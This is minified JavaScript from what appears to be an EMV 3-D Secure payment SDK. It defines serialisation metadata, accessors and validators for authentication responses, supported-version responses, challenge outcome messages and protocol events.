AuthenticationResponse.FieldMetadata.transStatus=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getTransStatus():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,TransactionStatus,"TransactionStatus")&&(a.setTransStatus(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return TransactionStatus.fromObject(a)}).enableSerialization().setFieldType(Init.Type.TransactionStatus).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.transStatusReason=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getTransStatusReason():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,TransactionReason,"TransactionReason")&&(a.setTransStatusReason(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return TransactionReason.fromObject(a)}).enableSerialization().setFieldType(Init.Type.TransactionReason).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.encodedCReq=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getEncodedCReq():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,Base64URL,"Base64URL")&&(a.setEncodedCReq(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new Base64URL;b.setRawValue(a);
return b}).enableSerialization().setFieldType(Init.Type.Base64URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.whiteListStatus=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getWhiteListStatus():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,WhitelistStatus,"WhitelistStatus")&&(a.setWhiteListStatus(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return WhitelistStatus.fromObject(a)}).enableSerialization().setFieldType(Init.Type.WhitelistStatus).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
AuthenticationResponse.FieldMetadata.whiteListStatusSource=(new FieldMetadata).setValueRetriever(function(a){return a instanceof AuthenticationResponse?a.getWhiteListStatusSource():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof AuthenticationResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,WhitelistStatusSource,"WhitelistStatusSource")&&(a.setWhiteListStatusSource(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return WhitelistStatusSource.fromObject(a)}).enableSerialization().setFieldType(Init.Type.WhitelistStatusSource).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.prototype=NDObject.create(APIResponse.prototype);SupportedVersionsResponse.prototype.getFieldMetadata=function(){return SupportedVersionsResponse.FieldMetadata};SupportedVersionsResponse.prototype.getThreeDSServerStartVersion=function(){return this.threeDSServerStartVersion};SupportedVersionsResponse.prototype.setThreeDSServerStartVersion=function(a){this.threeDSServerStartVersion=a};SupportedVersionsResponse.prototype.getThreeDSServerEndVersion=function(){return this.threeDSServerEndVersion};
SupportedVersionsResponse.prototype.setThreeDSServerEndVersion=function(a){this.threeDSServerEndVersion=a};SupportedVersionsResponse.prototype.getThreeDSServerTransID=function(){return this.threeDSServerTransID};SupportedVersionsResponse.prototype.setThreeDSServerTransID=function(a){this.threeDSServerTransID=a};SupportedVersionsResponse.prototype.getAcsStartProtocolVersion=function(){return this.acsStartProtocolVersion};
SupportedVersionsResponse.prototype.setAcsStartProtocolVersion=function(a){this.acsStartProtocolVersion=a};SupportedVersionsResponse.prototype.getAcsEndProtocolVersion=function(){return this.acsEndProtocolVersion};SupportedVersionsResponse.prototype.setAcsEndProtocolVersion=function(a){this.acsEndProtocolVersion=a};SupportedVersionsResponse.prototype.getThreeDSMethodURL=function(){return this.threeDSMethodURL};
SupportedVersionsResponse.prototype.setThreeDSMethodURL=function(a){this.threeDSMethodURL=a};SupportedVersionsResponse.prototype.getDsStartProtocolVersion=function(){return this.dsStartProtocolVersion};SupportedVersionsResponse.prototype.setDsStartProtocolVersion=function(a){this.dsStartProtocolVersion=a};SupportedVersionsResponse.prototype.getDsEndProtocolVersion=function(){return this.dsEndProtocolVersion};
SupportedVersionsResponse.prototype.setDsEndProtocolVersion=function(a){this.dsEndProtocolVersion=a};SupportedVersionsResponse.prototype.getMessageExtension=function(){null===ObjectUtils.normalize(this.messageExtension)&&(this.messageExtension=[]);return this.messageExtension};SupportedVersionsResponse.prototype.setMessageExtension=function(a){this.messageExtension=a};SupportedVersionsResponse.prototype.addMessageExtension=function(a){this.getMessageExtension().push(a)};
SupportedVersionsResponse.prototype.getACSVersion=function(){return this.aCSVersion};SupportedVersionsResponse.prototype.setACSVersion=function(a){this.aCSVersion=a};SupportedVersionsResponse.prototype.getDsIdentifier=function(){return this.dsIdentifier};SupportedVersionsResponse.prototype.setDsIdentifier=function(a){this.dsIdentifier=a};SupportedVersionsResponse.fromJson=function(a){var b=new SupportedVersionsResponse;JsonSerializer.readJsonIntoInstance(b,a);return b};
SupportedVersionsResponse.fromMap=function(a){var b=new SupportedVersionsResponse;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};SupportedVersionsResponse.FieldMetadata={};for(key in APIResponse.FieldMetadata)APIResponse.FieldMetadata.hasOwnProperty(key)&&(SupportedVersionsResponse.FieldMetadata[key]=APIResponse.FieldMetadata[key]);
SupportedVersionsResponse.FieldMetadata.threeDSServerStartVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getThreeDSServerStartVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ApiVersionType,"ApiVersionType")&&(a.setThreeDSServerStartVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return ApiVersionType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.ApiVersionType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.threeDSServerEndVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getThreeDSServerEndVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ApiVersionType,"ApiVersionType")&&(a.setThreeDSServerEndVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return ApiVersionType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.ApiVersionType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.threeDSServerTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getThreeDSServerTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setThreeDSServerTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=
new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build());
SupportedVersionsResponse.FieldMetadata.acsStartProtocolVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getAcsStartProtocolVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setAcsStartProtocolVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,8).addProperty(Property.MIN_LENGTH,5).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.acsEndProtocolVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getAcsEndProtocolVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setAcsEndProtocolVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,8).addProperty(Property.MIN_LENGTH,5).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.threeDSMethodURL=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getThreeDSMethodURL():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,URL,"URL")&&(a.setThreeDSMethodURL(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new URL;
b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.dsStartProtocolVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getDsStartProtocolVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setDsStartProtocolVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,8).addProperty(Property.MIN_LENGTH,5).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.dsEndProtocolVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getDsEndProtocolVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setDsEndProtocolVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,8).addProperty(Property.MIN_LENGTH,5).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.messageExtension=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getMessageExtension():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MessageExtensionAttributes,"MessageExtensionAttributes")&&(a.addMessageExtension(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new MessageExtensionAttributes}).enableDcoSync().enableSerialization().setFieldType(Init.Type.MessageExtensionAttributes).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.ARRAY).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.MAX_LENGTH,
10).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.ALLOW_EMPTY,!1).build());
SupportedVersionsResponse.FieldMetadata.ACSVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getACSVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,void 0,"Double")&&(a.setACSVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
void 0,"Double")?a:null}).enableSerialization().setFieldType(Init.Type.Double).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
SupportedVersionsResponse.FieldMetadata.dsIdentifier=(new FieldMetadata).setValueRetriever(function(a){return a instanceof SupportedVersionsResponse?a.getDsIdentifier():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof SupportedVersionsResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setDsIdentifier(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());Phone.prototype=NDObject.create(CustomConvertible.prototype);Phone.prototype.validate=function(){return new ValidationResult};Phone.prototype.setDefaultRegion=function(a){this.mDefaultRegion=a};Phone.prototype.setPhoneNumber=function(a){this.setRawValue(a)};
Phone.prototype.getPhoneNumber=function(){return this.getValue()};Phone.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(a)};CurrencyCode.prototype=NDObject.create(CustomConvertible.prototype);CurrencyCode.prototype.getCurrencyCode=function(){return this.getValue()};CurrencyCode.prototype.setCurrencyCode=function(a){this.setValue(a)};CurrencyCode.prototype.validate=function(){return new ValidationResult};
CurrencyCode.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(TextUtils.stringify(a))};ThreeDSDate.prototype=NDObject.create(CustomConvertible.prototype);ThreeDSDate.prototype.getDate=function(){return this.getValueForSerialization()};ThreeDSDate.prototype.setDate=function(a){this.setRawValue(a)};
ThreeDSDate.prototype.validate=function(a,b){this.mValidationOptions={};if(null!==ObjectUtils.normalize(b))for(var c in b)b.hasOwnProperty(c)&&(this.mValidationOptions[c]=b[c]);c=new ValidationResult.Filter;var d=this.getRawValue(),e=DateUtils.isDate(d)?d:null;if(null!==e)return c.setFilteredValue(e),c;d=TextUtils.stringify(d);if(TextUtils.isEmpty(d))c.fail(a,this.mValidationOptions,[Property.ALLOW_EMPTY]);else{e=TextUtils.stringify(this.mValidationOptions[Property.FORMAT.toString()]);e=this.getValidFormats(e);
var f=null,g=!1,k;for(k in e)if(e.hasOwnProperty(k)){var h=e[k];try{f=DateUtils.stringToDate(d,h)}catch(m){f=null}if(null!==f){c.setFilteredValue(f);g=!0;break}}g||c.fail(a,this.mValidationOptions,[Property.FORMAT])}return c};
ThreeDSDate.prototype.getValueForSerialization=function(){var a=this.getValue();if(null===ObjectUtils.normalize(a))return CustomConvertible.prototype.getValueForSerialization.call(this);var b=this.normalizeFormat(Property.FORMAT in this.mValidationOptions?TextUtils.stringify(this.mValidationOptions[Property.FORMAT.toString()]):null);return DateUtils.dateToString(a,b)};
ThreeDSDate.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);a=this.validate(null,this.mValidationOptions);this.setValue(a.isSuccess()?a.getFilteredValue():null)};
ThreeDSDate.prototype.equals=function(a){if(this===a)return!0;if(null===a||!(a instanceof Date))return!1;var b=a.getValue(),c=this.getValue();if(null===ObjectUtils.normalize(c)||null===ObjectUtils.normalize(b)){a=a.getValueForSerialization();var d=this.getValueForSerialization();return null===a||null===d?c===b:d.equals(a)}return c.getTime()===b.getTime()};
ThreeDSDate.prototype.normalizeFormat=function(a){switch(null==a?"":a.toLowerCase()){case "yymm":a="yyMM";break;case "yyyymmdd":a="yyyyMMdd";break;case "yyyymmddhhmm":a="yyyyMMddHHmm";break;case "yyyymmddhhmmss":a="yyyyMMddHHmmss";break;default:a="yyyyMMdd"}return a};ThreeDSDate.prototype.getValidFormats=function(a){var b=[];null===ObjectUtils.normalize(a)?(b.push("yyyyMMddHHmmss"),b.push("yyyyMMddHHmm"),b.push("yyyyMMdd"),b.push("yyMM")):b.push(this.normalizeFormat(a));return b};
ThreeDSDate.prototype.getAllowedProperties=function(){return[Property.FORMAT]};function HTTPLimitedTimingData(){Convertible.call(this);Interface.implement(this,ISyncable)}CountryCode.prototype=NDObject.create(CustomConvertible.prototype);CountryCode.prototype.getCountryCode=function(){return this.getValue()};CountryCode.prototype.setCountryCode=function(a){this.setValue(a)};CountryCode.prototype.validate=function(){return new ValidationResult};
CountryCode.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(TextUtils.stringify(a))};WidgetOutcomeMessage.prototype=NDObject.create(Convertible.prototype);WidgetOutcomeMessage.prototype.getFieldMetadata=function(){return WidgetOutcomeMessage.FieldMetadata};function Base64(a){CustomConvertible.call(this,a||null);this.setRawValue(a)}function ErrorComponent(a,b){Enumerable.call(this,a,ErrorComponent.VALUES,b);b&&(ErrorComponent.VALUES[a]=this)}
WidgetOutcomeMessage.prototype.getType=function(){return this.type};WidgetOutcomeMessage.prototype.setType=function(a){this.type=a};WidgetOutcomeMessage.prototype.getTransStatus=function(){return this.transStatus};WidgetOutcomeMessage.prototype.setTransStatus=function(a){this.transStatus=a};WidgetOutcomeMessage.prototype.getError=function(){return this.error};WidgetOutcomeMessage.prototype.setError=function(a){this.error=a};WidgetOutcomeMessage.prototype.getChallengeOutcome=function(){return this.challengeOutcome};
WidgetOutcomeMessage.prototype.setChallengeOutcome=function(a){this.challengeOutcome=a};function WhitelistStatusSource(a,b){Enumerable.call(this,a,WhitelistStatusSource.VALUES,b);b&&(WhitelistStatusSource.VALUES[a]=this)}WidgetOutcomeMessage.prototype.getResultsResponse=function(){return this.resultsResponse};WidgetOutcomeMessage.prototype.setResultsResponse=function(a){this.resultsResponse=a};
WidgetOutcomeMessage.fromJson=function(a){var b=new WidgetOutcomeMessage;JsonSerializer.readJsonIntoInstance(b,a);return b};WidgetOutcomeMessage.fromMap=function(a){var b=new WidgetOutcomeMessage;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};WidgetOutcomeMessage.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(WidgetOutcomeMessage.FieldMetadata[key]=Convertible.FieldMetadata[key]);
WidgetOutcomeMessage.FieldMetadata.type=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetOutcomeMessage?a.getType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetOutcomeMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,
1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetOutcomeMessage.FieldMetadata.transStatus=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetOutcomeMessage?a.getTransStatus():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetOutcomeMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,TransactionStatus,"TransactionStatus")&&(a.setTransStatus(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return TransactionStatus.fromObject(a)}).enableSerialization().setFieldType(Init.Type.TransactionStatus).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetOutcomeMessage.FieldMetadata.error=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetOutcomeMessage?a.getError():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetOutcomeMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ThreeDSError,"ThreeDSError")&&(a.setError(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new ThreeDSError}).enableDcoSync().enableSerialization().setFieldType(Init.Type.ThreeDSError).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetOutcomeMessage.FieldMetadata.challengeOutcome=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetOutcomeMessage?a.getChallengeOutcome():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetOutcomeMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ChallengeOutcome,"ChallengeOutcome")&&(a.setChallengeOutcome(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new ChallengeOutcome}).enableDcoSync().enableSerialization().setFieldType(Init.Type.ChallengeOutcome).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
WidgetOutcomeMessage.FieldMetadata.resultsResponse=(new FieldMetadata).setValueRetriever(function(a){return a instanceof WidgetOutcomeMessage?a.getResultsResponse():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof WidgetOutcomeMessage&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ResultsResponse,"ResultsResponse")&&(a.setResultsResponse(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new ResultsResponse}).enableDcoSync().enableSerialization().setFieldType(Init.Type.ResultsResponse).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
EMVProtocolErrorEvent.prototype=NDObject.create(Convertible.prototype);function ChallengeResponse(){ChallengeOutcome.call(this);Interface.implement(this,ISyncable)}EMVProtocolErrorEvent.prototype.getFieldMetadata=function(){return EMVProtocolErrorEvent.FieldMetadata};EMVProtocolErrorEvent.prototype.getErrorMessage=function(){return this.errorMessage};EMVProtocolErrorEvent.prototype.setErrorMessage=function(a){this.errorMessage=a};EMVProtocolErrorEvent.prototype.getSDKTransactionID=function(){return this.sDKTransactionID};
EMVProtocolErrorEvent.prototype.setSDKTransactionID=function(a){this.sDKTransactionID=a};EMVProtocolErrorEvent.fromJson=function(a){var b=new EMVProtocolErrorEvent;JsonSerializer.readJsonIntoInstance(b,a);return b};EMVProtocolErrorEvent.fromMap=function(a){var b=new EMVProtocolErrorEvent;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};EMVProtocolErrorEvent.FieldMetadata={};
for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(EMVProtocolErrorEvent.FieldMetadata[key]=Convertible.FieldMetadata[key]);
EMVProtocolErrorEvent.FieldMetadata.errorMessage=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVProtocolErrorEvent?a.getErrorMessage():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVProtocolErrorEvent&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,EMVErrorMessage,"EMVErrorMessage")&&(a.setErrorMessage(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new EMVErrorMessage}).enableDcoSync().enableSerialization().setFieldType(Init.Type.EMVErrorMessage).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
EMVProtocolErrorEvent.FieldMetadata.SDKTransactionID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof EMVProtocolErrorEvent?a.getSDKTransactionID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof EMVProtocolErrorEvent&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setSDKTransactionID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());EMVCompletionEvent.prototype=NDObject.create(Convertible.prototype);
EMVCompletionEvent.prototype.getFieldMetadata=function(){return EMVCompletionEvent.FieldMetadata};EMVCompletionEvent.prototype.getSdkTransactionID=function(){return this.sdkTransactionID};EMVCompletionEvent.prototype.setSdkTransactionID=function(a){this.sdkTransactionID=a};EMVCompletionEvent.prototype.getTransactionStatus=function(){return this.transactionStatus};function ACSInterface(a,b){Enumerable.call(this,a,ACSInterface.VALUES,b);b&&(ACSInterface.VALUES[a]=this)}
EMVCompletionEvent.prototype.setTransactionStatus=function(a){this.transactionStatus=a};EMVCompletionEvent.fromJson=function(a){var b=new EMVCompletionEvent;JsonSerializer.readJsonIntoInstance(b,a);return b};EMVCompletionEvent.fromMap=function(a){var b=new EMVCompletionEvent;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};EMVCompletionEvent.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(EMVCompletionEvent.FieldMetadata[key]=Convertible.FieldMetadata[key]);
